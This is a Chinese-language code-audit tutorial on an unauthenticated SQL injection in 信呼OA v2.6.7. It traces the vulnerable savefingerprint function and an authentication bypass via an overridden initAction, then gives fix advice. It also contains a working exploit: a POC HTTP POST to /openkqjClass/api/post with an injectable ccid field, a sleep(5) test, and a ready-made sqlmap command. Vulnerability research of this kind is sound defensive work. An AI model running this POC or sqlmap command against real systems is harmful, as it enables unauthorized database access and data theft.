php代码审计篇 - 信呼OA 前台注入分析
字数 1033 2025-08-30 06:50:12
信呼OA v2.6.7 SQL注入漏洞分析与利用教学文档
1. 系统介绍
信呼OA是一款企业办公自动化系统,官网地址:http://www.rockoa.com
2. 路由分析
- 系统采用特定的路由结构:
a参数表示方法m参数表示目录- 对于多层目录结构:
d是最外层目录m由"文件名|目录"组成
3. 漏洞点定位
3.1 核心漏洞函数
在savefingerprint函数中存在SQL注入漏洞:
function savefingerprint($snid, $uid, $devid='')
{
$where = "`snid`='$snid' and `uid`='$uid'";
if($devid)$where.=" and `devid`='$devid'";
$this->kquobj->rows($where); // SQL执行点
}
其中$snid和$uid参数被直接拼接到SQL语句中。
3.2 调用链分析
-
savefingerprint函数被两处调用,其中一处调用可控:if($dtype=='fingerprint'){ $dstr = $arr['value']; $rs = c('check')->checkstr($dstr); $this->savefingerprint($this->snid, $rs['ccid']); } -
调用链追溯:
openkqjAction.php中的apiAction函数调用kqjcmdModel.php中的postdata函数$this->postdata来自openapiAction类的getpostdata()方法,完全可控
4. 鉴权分析
- 正常情况下
openapiAction类有鉴权机制 - 但
openkqjClassAction类重写了initAction()方法,导致父类鉴权失效 - 重写的方法未实现任何鉴权,导致未授权访问
5. 漏洞利用构造
5.1 请求构造要点
-
需要满足
$act值为'post':- 系统通过URL路径解析
$act值 - 例如:
/openkqjClass/api/post
- 系统通过URL路径解析
-
必须参数:
sn参数必须设置为1(或其他有效值)
-
POST数据要求:
- 必须为JSON格式
- 需要包含
fingerprint字段
5.2 完整POC构造
POST /openkqjClass/api/post?sn=1 HTTP/1.1
Host: target.com
Content-Type: application/json
{
"fingerprint": {
"value": "恶意构造的payload",
"ccid": "注入payload"
}
}
5.3 SQL注入验证
- 通过MySQL日志监控确认SQL执行
- 时间盲注验证:
- 构造
ccid为sleep(5)验证延时效果
- 构造
6. SQLMap自动化利用
sqlmap -u "http://target.com/openkqjClass/api/post?sn=1" \
--data='{"fingerprint":{"value":"1","ccid":"*"}}' \
--headers="Content-Type: application/json" \
--level=5 --risk=3 \
-p "fingerprint.ccid"
7. 漏洞修复建议
- 对所有输入参数进行严格过滤和类型检查
- 使用预处理语句或参数化查询
- 恢复或实现有效的鉴权机制
- 避免直接拼接用户输入到SQL语句中
8. 关键点总结
- 漏洞类型:未授权SQL注入
- 影响版本:信呼OA v2.6.7
- 注入点:
ccid参数 - 利用条件:无需认证
- 危害程度:高危,可导致数据库信息泄露
9. 调试技巧
- 动态调试时可重点关注:
postdata函数中的JSON解析savefingerprint函数的参数传递
- 使用MySQL日志监控工具实时查看执行的SQL语句
- 通过var_dump或日志输出关键变量值